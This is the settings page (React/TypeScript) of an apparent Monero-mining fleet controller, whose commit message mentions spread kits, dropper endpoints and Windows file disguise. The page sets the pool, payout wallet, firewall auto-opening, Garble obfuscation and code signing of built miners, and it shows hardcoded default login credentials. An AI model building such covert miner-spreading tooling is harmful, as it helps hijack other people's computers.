Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
613 lines
29 KiB
TypeScript
613 lines
29 KiB
TypeScript
import { useState, useEffect, useRef } from 'react';
|
||
import { api } from '../api/client';
|
||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||
import type { ServerConfig } from '../types';
|
||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import './Pages.css';
|
||
|
||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||
const result = { ...base } as T;
|
||
for (const key in override) {
|
||
const val = override[key];
|
||
const baseVal = base[key];
|
||
if (
|
||
val !== null &&
|
||
val !== undefined &&
|
||
typeof val === 'object' &&
|
||
!Array.isArray(val) &&
|
||
typeof baseVal === 'object' &&
|
||
baseVal !== null &&
|
||
!Array.isArray(baseVal)
|
||
) {
|
||
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
|
||
} else if (val !== undefined) {
|
||
result[key] = val as T[typeof key];
|
||
}
|
||
}
|
||
return result;
|
||
}
|
||
|
||
export default function SettingsPage() {
|
||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||
const [loading, setLoading] = useState(true);
|
||
const [saving, setSaving] = useState(false);
|
||
const [saveMessage, setSaveMessage] = useState('');
|
||
const [newUser, setNewUser] = useState('');
|
||
const [newPass, setNewPass] = useState('');
|
||
const [sessionUser, setSessionUser] = useState('');
|
||
const [sessionPass, setSessionPass] = useState('');
|
||
const [userMsg, setUserMsg] = useState('');
|
||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||
|
||
useEffect(() => {
|
||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||
.then(([cfg, info]) => {
|
||
setConfig({
|
||
...cfg,
|
||
server: {
|
||
public_url: cfg.server?.public_url ?? '',
|
||
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
|
||
build_retention_days: cfg.server?.build_retention_days ?? 30,
|
||
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
|
||
websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30,
|
||
max_agents: cfg.server?.max_agents ?? 256,
|
||
max_build_size_mb: cfg.server?.max_build_size_mb ?? 150,
|
||
log_agent_connections: cfg.server?.log_agent_connections ?? true,
|
||
log_share_submissions: cfg.server?.log_share_submissions ?? false,
|
||
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
|
||
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
|
||
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
|
||
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
|
||
},
|
||
});
|
||
setServerInfo(info);
|
||
})
|
||
.catch(console.error)
|
||
.finally(() => setLoading(false));
|
||
}, []);
|
||
|
||
const updateField = (path: string, value: unknown) => {
|
||
if (!config) return;
|
||
const newConfig = { ...config };
|
||
const keys = path.split('.');
|
||
let obj: Record<string, unknown> = newConfig as unknown as Record<string, unknown>;
|
||
for (let i = 0; i < keys.length - 1; i++) {
|
||
const key = keys[i];
|
||
if (!obj[key] || typeof obj[key] !== 'object') {
|
||
obj[key] = {};
|
||
}
|
||
obj = obj[key] as Record<string, unknown>;
|
||
}
|
||
obj[keys[keys.length - 1]] = value;
|
||
setConfig(newConfig);
|
||
};
|
||
|
||
const handleSave = async () => {
|
||
if (!config) return;
|
||
setSaving(true);
|
||
setSaveMessage('');
|
||
try {
|
||
const updated = await api.updateConfig(config);
|
||
setConfig(updated);
|
||
setSaveMessage('Calibration saved — control server updated.');
|
||
setTimeout(() => setSaveMessage(''), 4000);
|
||
} catch (err: unknown) {
|
||
setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`);
|
||
} finally {
|
||
setSaving(false);
|
||
}
|
||
};
|
||
|
||
const handleExportConfig = () => {
|
||
if (!config) return;
|
||
const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = 'aetherforge-server-config.json';
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
};
|
||
|
||
const handleImportConfig = () => fileInputRef.current?.click();
|
||
|
||
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
const reader = new FileReader();
|
||
reader.onload = (evt) => {
|
||
try {
|
||
const data = JSON.parse(evt.target?.result as string);
|
||
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
|
||
// wipe unrelated nested sections like "default_agent" or "mining".
|
||
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
|
||
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
|
||
} catch {
|
||
setSaveMessage('Invalid JSON file.');
|
||
}
|
||
};
|
||
reader.readAsText(file);
|
||
e.target.value = '';
|
||
};
|
||
|
||
const handleSessionLogin = () => {
|
||
if (!sessionUser || !sessionPass) return;
|
||
setStoredAuth(sessionUser, sessionPass);
|
||
setUserMsg('Session login saved — API calls from this browser will authenticate.');
|
||
setTimeout(() => setUserMsg(''), 4000);
|
||
};
|
||
|
||
const handleSessionLogout = () => {
|
||
clearStoredAuth();
|
||
setSessionUser('');
|
||
setSessionPass('');
|
||
setUserMsg('Session login cleared.');
|
||
setTimeout(() => setUserMsg(''), 3000);
|
||
};
|
||
|
||
const handleAddUser = async () => {
|
||
if (!newUser || !newPass) return;
|
||
try {
|
||
await api.createUser(newUser, newPass);
|
||
setUserMsg(`User "${newUser}" added successfully!`);
|
||
if (!getStoredAuth()) {
|
||
setStoredAuth(newUser, newPass);
|
||
}
|
||
setNewUser('');
|
||
setNewPass('');
|
||
setTimeout(() => setUserMsg(''), 3000);
|
||
} catch {
|
||
setUserMsg('Failed to save user — sign in under Browser session first.');
|
||
setTimeout(() => setUserMsg(''), 4000);
|
||
}
|
||
};
|
||
|
||
if (loading) {
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
|
||
<h1>Calibrate</h1>
|
||
</div>
|
||
</header>
|
||
<NeonCard accent="brass"><p>Loading server calibration...</p></NeonCard>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (!config) {
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
const s = config.server || {
|
||
public_url: '',
|
||
stats_retention_hours: 168,
|
||
build_retention_days: 30,
|
||
pool_reconnect_seconds: 30,
|
||
websocket_ping_seconds: 30,
|
||
max_agents: 256,
|
||
max_build_size_mb: 150,
|
||
log_agent_connections: true,
|
||
log_share_submissions: false,
|
||
log_pool_traffic: false,
|
||
strict_wallet_validation: false,
|
||
dashboard_subtitle: '',
|
||
open_firewall_on_start: true,
|
||
obfuscate_default: false,
|
||
sign_enabled: false,
|
||
sign_cert_thumbprint: '',
|
||
sign_tool_path: '',
|
||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||
};
|
||
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
|
||
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">CONTROL SERVER · LOCAL HOST</p>
|
||
<h1>Calibrate</h1>
|
||
<p className="page-subtitle">
|
||
Settings for this machine only — the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.
|
||
</p>
|
||
</div>
|
||
<div className="deck-hero-actions">
|
||
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
|
||
{saving ? 'Saving...' : 'Save Calibration'}
|
||
</button>
|
||
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
|
||
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
|
||
</div>
|
||
</header>
|
||
|
||
{saveMessage && (
|
||
<div className={`save-message ${saveMessage.includes('failed') ? 'error' : 'success'}`}>{saveMessage}</div>
|
||
)}
|
||
|
||
{serverInfo && (
|
||
<NeonCard accent="cyan" className="calibrate-banner" hud>
|
||
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
|
||
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
|
||
{serverInfo.local_ips?.length > 0 && (
|
||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||
)}
|
||
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||
<button
|
||
type="button"
|
||
className="btn btn-primary btn-sm"
|
||
style={{ marginTop: '0.75rem' }}
|
||
onClick={() => {
|
||
if (!config) return;
|
||
updateField('server.public_url', serverInfo.suggested_url);
|
||
updateField('server.open_firewall_on_start', true);
|
||
updateField('server.obfuscate_default', false);
|
||
updateField('server.sign_enabled', false);
|
||
if (!config.wallet.address?.trim()) {
|
||
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||
} else {
|
||
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||
}
|
||
}}
|
||
>
|
||
Use best defaults
|
||
</button>
|
||
<FieldHint field="calibrate_quick_setup" />
|
||
</NeonCard>
|
||
)}
|
||
|
||
<div className="settings-grid">
|
||
<NeonCard accent="brass" className="settings-section">
|
||
<h2 className="font-display">Control Server</h2>
|
||
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Listen Port</label>
|
||
<input type="number" className="input" min={1024} max={65535} value={config.port}
|
||
onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
|
||
<span className="form-hint">Restart server after changing port.</span>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Data Directory</label>
|
||
<input type="text" className="input mono" value={config.data_dir}
|
||
onChange={(e) => updateField('data_dir', e.target.value)} />
|
||
</div>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||
value={s.public_url}
|
||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||
{serverInfo?.suggested_url && (
|
||
<button type="button" className="btn btn-outline btn-sm"
|
||
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||
Use detected LAN
|
||
</button>
|
||
)}
|
||
</div>
|
||
<FieldHint field="public_url" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Dashboard Subtitle</label>
|
||
<input type="text" className="input" value={s.dashboard_subtitle}
|
||
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.open_firewall_on_start ?? true}
|
||
onChange={(e) => updateField('server.open_firewall_on_start', e.target.checked)} />
|
||
<span>Open dashboard port in Windows Firewall on startup <HelpTip field="open_firewall_on_start" /></span>
|
||
</label>
|
||
<FieldHint field="open_firewall_on_start" />
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="cyan" className="settings-section">
|
||
<h2 className="font-display">Upstream Pool</h2>
|
||
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
|
||
<div className="form-group">
|
||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||
<input type="text" className="input" value={config.pool.host}
|
||
onChange={(e) => updateField('pool.host', e.target.value)} />
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Port</label>
|
||
<input type="number" className="input" value={config.pool.port}
|
||
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
|
||
</div>
|
||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
|
||
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
|
||
<span>Use TLS</span>
|
||
</label>
|
||
</div>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Pool Password</label>
|
||
<input type="text" className="input" value={config.pool.password}
|
||
onChange={(e) => updateField('pool.password', e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Pool Reconnect Interval (sec)</label>
|
||
<input type="number" className="input" min={5} value={s.pool_reconnect_seconds}
|
||
onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="purple" className="settings-section">
|
||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||
<div className="form-group">
|
||
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||
value={config.wallet.address}
|
||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||
<FieldHint field="calibrate_wallet" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Payment ID (optional)</label>
|
||
<input type="text" className="input mono" value={config.wallet.payment_id}
|
||
onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.strict_wallet_validation}
|
||
onChange={(e) => updateField('server.strict_wallet_validation', e.target.checked)} />
|
||
<span>Strict wallet validation on build API</span>
|
||
</label>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="amber" className="settings-section">
|
||
<h2 className="font-display">Fleet Alerts</h2>
|
||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||
<div className="form-group">
|
||
<label className="label">Offline After (minutes)</label>
|
||
<input type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
|
||
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Hashrate Drop (%)</label>
|
||
<input type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
|
||
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Rejection Rate (%)</label>
|
||
<input type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
|
||
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
|
||
</div>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="amber" className="settings-section">
|
||
<h2 className="font-display">Alert Notifications</h2>
|
||
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Telegram Bot Token</label>
|
||
<input type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
|
||
onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Telegram Chat ID</label>
|
||
<input type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
|
||
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
|
||
</div>
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
|
||
onChange={(e) => updateField('alerts.email_enabled', e.target.checked)} />
|
||
<span>Email alerts via SMTP</span>
|
||
</label>
|
||
</div>
|
||
{config.alerts.email_enabled && (
|
||
<>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">SMTP Host</label>
|
||
<input type="text" className="input" value={config.alerts.smtp_host || ''}
|
||
onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">SMTP Port</label>
|
||
<input type="number" className="input" value={config.alerts.smtp_port || 587}
|
||
onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
|
||
</div>
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">SMTP User</label>
|
||
<input type="text" className="input" value={config.alerts.smtp_user || ''}
|
||
onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">SMTP Password</label>
|
||
<input type="password" className="input" value={config.alerts.smtp_password || ''}
|
||
onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
|
||
</div>
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Email To</label>
|
||
<input type="email" className="input" value={config.alerts.email_to || ''}
|
||
onChange={(e) => updateField('alerts.email_to', e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Email From</label>
|
||
<input type="email" className="input" value={config.alerts.email_from || ''}
|
||
onChange={(e) => updateField('alerts.email_from', e.target.value)} />
|
||
</div>
|
||
</div>
|
||
</>
|
||
)}
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="brass" className="settings-section">
|
||
<h2 className="font-display">Forge Pipeline</h2>
|
||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
|
||
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
|
||
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
|
||
</label>
|
||
<FieldHint field="obfuscate_default" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
|
||
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
|
||
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
|
||
</label>
|
||
<FieldHint field="sign_enabled" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
|
||
<input type="text" className="input mono" placeholder="AB CD EF ..."
|
||
value={s.sign_cert_thumbprint || ''}
|
||
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
|
||
<FieldHint field="sign_cert_thumbprint" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
|
||
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
|
||
value={s.sign_tool_path || ''}
|
||
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
|
||
<input type="text" className="input mono"
|
||
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
|
||
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
|
||
<FieldHint field="sign_timestamp_url" />
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="green" className="settings-section">
|
||
<h2 className="font-display">Data & Limits</h2>
|
||
<p className="section-desc">Retention and capacity for this host.</p>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Stats Retention (hours)</label>
|
||
<input type="number" className="input" min={24} value={s.stats_retention_hours}
|
||
onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Keep Builds (days)</label>
|
||
<input type="number" className="input" min={1} value={s.build_retention_days}
|
||
onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
|
||
</div>
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Max Agents</label>
|
||
<input type="number" className="input" min={1} value={s.max_agents}
|
||
onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Max Build Size (MB)</label>
|
||
<input type="number" className="input" min={10} value={s.max_build_size_mb}
|
||
onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
|
||
</div>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">WebSocket Ping (sec)</label>
|
||
<input type="number" className="input" min={10} value={s.websocket_ping_seconds}
|
||
onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="brass" className="settings-section">
|
||
<h2 className="font-display">Server Logging</h2>
|
||
<p className="section-desc">What this control server writes to its log.</p>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.log_agent_connections}
|
||
onChange={(e) => updateField('server.log_agent_connections', e.target.checked)} />
|
||
<span>Log agent connect / disconnect</span>
|
||
</label>
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.log_share_submissions}
|
||
onChange={(e) => updateField('server.log_share_submissions', e.target.checked)} />
|
||
<span>Log every share submission</span>
|
||
</label>
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={s.log_pool_traffic}
|
||
onChange={(e) => updateField('server.log_pool_traffic', e.target.checked)} />
|
||
<span>Verbose pool traffic (debug)</span>
|
||
</label>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="magenta" className="settings-section">
|
||
<h2 className="font-display">Access Control</h2>
|
||
<p className="section-desc">
|
||
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
|
||
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||
</p>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Browser session — username</label>
|
||
<input type="text" className="input" placeholder="drjones" value={sessionUser}
|
||
onChange={(e) => setSessionUser(e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Browser session — password</label>
|
||
<input type="password" className="input" value={sessionPass}
|
||
onChange={(e) => setSessionPass(e.target.value)} />
|
||
</div>
|
||
</div>
|
||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
|
||
<button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
|
||
Save session login
|
||
</button>
|
||
<button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
|
||
Clear session
|
||
</button>
|
||
{getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">New Username</label>
|
||
<input type="text" className="input" placeholder="admin" value={newUser}
|
||
onChange={(e) => setNewUser(e.target.value)} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">New Password</label>
|
||
<input type="password" className="input" placeholder="••••••••" value={newPass}
|
||
onChange={(e) => setNewPass(e.target.value)} />
|
||
</div>
|
||
</div>
|
||
<button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
|
||
Add User
|
||
</button>
|
||
{userMsg && (
|
||
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
||
)}
|
||
</NeonCard>
|
||
</div>
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|